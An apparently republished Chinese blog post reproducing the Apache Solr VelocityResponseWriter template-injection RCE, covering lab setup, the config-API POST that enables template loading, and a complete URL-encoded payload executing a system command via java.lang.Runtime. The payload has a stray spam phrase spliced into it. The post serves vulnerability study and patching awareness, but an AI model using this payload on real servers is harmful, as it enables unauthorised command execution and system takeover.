Apache Solr velocity模板注入RCE漏洞的示例分析


这篇文章主要为大家分析了Apache Solr velocity模板注入RCE漏洞的示例分析的相关知识点,内容详细易懂,操作细节合理,具有一定参考价值。如果感兴趣的话,不妨跟着跟随小编一起来看看,下面跟着小编一起深入学习“Apache Solr velocity模板注入RCE漏洞的示例分析”的知识吧。0x01简介Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。0x02漏洞介绍Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。0x03影响范围Apache Solr 5.x – 8.2.0,存在config API版本0x04环境搭建安装java8环境,然后下载Solr,下载地址:https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip下载完成后解压然后进入bin目录执行./solr startunzip solr-8.2.0.zip启动会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将SOLR_ULIMIT_CHECKS设置为falsevim solr.in.sh然后再次进行启动 ./solr startroot启动失败的话在后面加上加上-force即可在浏览器访问http://ip:8983,出现以下界面表示安装成功但是发现不能创建core我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建0x05漏洞复现创建好Core后访问查看该应用config文件是否可以访问http://ip:8983/solr/new_core/configApache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改整合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。使用Burp抓取本页面的包,直接构造POST请求,加入以下数据{“update-queryresponsewriter”: {“startup”: “lazy”,”name”: “velocity”,”class”: “solr.VelocityResponseWriter”,”template.base.dir”: “”,”solr.resource.loader.enabled”: “true”,”params.resource.loader.enabled”: “true”}}接下来我们就可以构造payload来实现RCEpayload:http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23for免费云主机域名each($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23endPOC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template0x06修复方式更新到最新版本关于“Apache Solr velocity模板注入RCE漏洞的示例分析”就介绍到这了,更多相关内容可以搜索云编程开发博客以前的文章,希望能够帮助大家答疑解惑,请多多支持云编程开发博客网站!

相关推荐: Oracle服务扫描工具Oscanner有什么用

这篇文章主要为大家展示了“Oracle服务扫描工具Oscanner有什么用”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Oracle服务扫描工具Oscanner有什么用”这篇文章吧。 Oracle服务扫描工具Osc…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/07 15:43
下一篇 02/07 15:43